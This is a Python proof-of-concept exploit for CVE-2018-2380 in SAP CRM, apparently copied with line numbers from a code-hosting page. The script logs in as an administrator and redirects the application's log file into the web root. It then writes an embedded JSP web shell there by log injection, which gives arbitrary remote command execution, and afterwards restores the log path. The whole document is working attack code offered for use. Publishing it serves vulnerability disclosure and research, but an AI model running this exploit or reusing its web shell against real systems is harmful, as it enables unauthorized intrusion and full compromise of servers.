1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 |
#!/usr/bin/env python import argparse import urllib import requests, random from bs4 import BeautifulSoup from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) help_desc = ''' PoC of Remote Command Execution via Log injection on SAP CRM -- ERPScan python crm_rce.py --ssl --host 127.0.0.1 --port 50000 --username administrator --password 06071992 --SID DM0 --ssl true ''' baner = ''' ___________________________________________ (____ \(____ )(____ )(____ \(____ \(___)( (/| | (\/| ()|| ()|| (\/| (\/| ( ) ||\( | | (__| (____)|| (____)|| (_____ | || (___) || \ | | |__) | __)|_____)(_____)| ||___|| (\ \) | | (| (\ ( | () || || ( ) || | \ | | (____/\| ) \ \__| )/\____) || (____/\| ) ( || )\| (_______/|/ \__/|/ \_______)(_______/|/ \||/)_) Vahagn @vah_13 Vardanian Bob @NewFranny CVE-2018-2380 ''' def start(ip, port, username, password, sid, ssl): if ssl == None: base_scheme = 'http' else: base_scheme = 'https' req_adapter = requests.session() _server_ip_port = "{0}:{1}".format(ip, port) _username = username admin_password = password _headers = {"User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Referer": "{0}://{1}/b2b/admin/logging.jsp?location=com.sap.isa&mode=edit&index=1".format( base_scheme,_server_ip_port) } # shell name _shell_name = "ERPScan_shell_{0}".format(random.randint(1337, 31337)) # shell_code shell_code = ''' <%@ page import="java.util.*,java.io.*"%> <% if (request.getParameter("cmd") != null) { out.println("Command: " + request.getParameter("cmd") + "<BR>"); Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %> ''' # urls variables _irj_portal = "{0}://{1}/irj/portal".format(base_scheme,_server_ip_port) _b2b_admin_url = "{0}://{1}/b2b/admin/index.jsp".format(base_scheme,_server_ip_port) _url_of_log_path = "{0}://{1}/b2b/admin/logging.jsp".format(base_scheme,_server_ip_port) _url_write_shell_to_log_file = "{0}://{1}/b2b/init.do?\"%22]{2}[%22\"".format(base_scheme,_server_ip_port,urllib.quote_plus(shell_code)) # data variable _post_data_restore_log_path = {"selConfigName": "com.sap.isa", "selSeverity": "0", "selDest": "./default_log_name.log", "selLimit": "10485760", "selCount": "20", "selFormatterType": "ListFormat", "selPattern": "none", "mode": "save", "selLocationIdx": "1"} _post_data_to_change_log_path = {"selConfigName": "com.sap.isa", "selSeverity": "0", "selDest": "C:\\usr\\sap\\{0}\\J00\\j2ee\\cluster\\apps\\sap.com\\com.sap.engine.docs.examples\\servlet_jsp\\_default\\root\\{1}.jsp".format(sid, _shell_name), "selLimit": "10485760", "selCount": "20", "selFormatterType": "ListFormat", "selPattern": "none", "mode": "save", "selLocationIdx": "1"} print("{0} \n[!] Try to get RCE using log injection ".format(baner)) print("[!] Get j_salt token for requests") res = requests.get(_irj_portal, headers=_headers, verify=False) soup = BeautifulSoup(res.text, "html.parser") e = soup.find("input", {"name": "j_salt"}) __j_salt = e['value'] print("[!] Login to the SAP portal") req_adapter.post(_b2b_admin_url, headers=_headers, data={"login_submit": "on", "login_do_redirect": "1", "j_salt": __j_salt, "j_username": "{0}".format(_username), "j_password": "{0}".format(admin_password), "uidPasswordLogon": "Log On"}, verify=False) print("[!] Change log path ") req_adapter.post(_url_of_log_path, headers=_headers, data=_post_data_to_change_log_path) print("[!] Upload \"Runtime.getRuntime().exec(request.getParameter(\"cmd\")) \" shell to {0}://{1}/{2}.0.jsp?cmd=ipconfig".format(base_scheme,_server_ip_port, _shell_name)) req_adapter.get(_url_write_shell_to_log_file, headers=_headers) print("[!] Restore logs path to ./default_log_name.log") req_adapter.post(_url_of_log_path, headers=_headers, data=_post_data_restore_log_path) print("[!] Enjoy!") if __name__ == "__main__": parser = argparse.ArgumentParser(description=help_desc, formatter_class=argparse.RawTextHelpFormatter) parser.add_argument('-H', '--host', default='127.0.0.1', help='SAP host to send requests to') parser.add_argument('-p', '--port', default=50000, type=int, help='SAP host port') parser.add_argument('-u', '--username', help='SAP CRM administrator') parser.add_argument('-pwd', '--password', help='SAP CRM administrator password') parser.add_argument('-s', '--SID', help='SAP SID') parser.add_argument('-S', '--ssl', help='Use ssl connection') args = parser.parse_args() args_dict = vars(args) host = args_dict['host'] port = args_dict['port'] username = args_dict['username'] password = args_dict['password'] sid = args_dict['SID'] ssl = args.ssl start(host, port, username, password, sid, ssl) |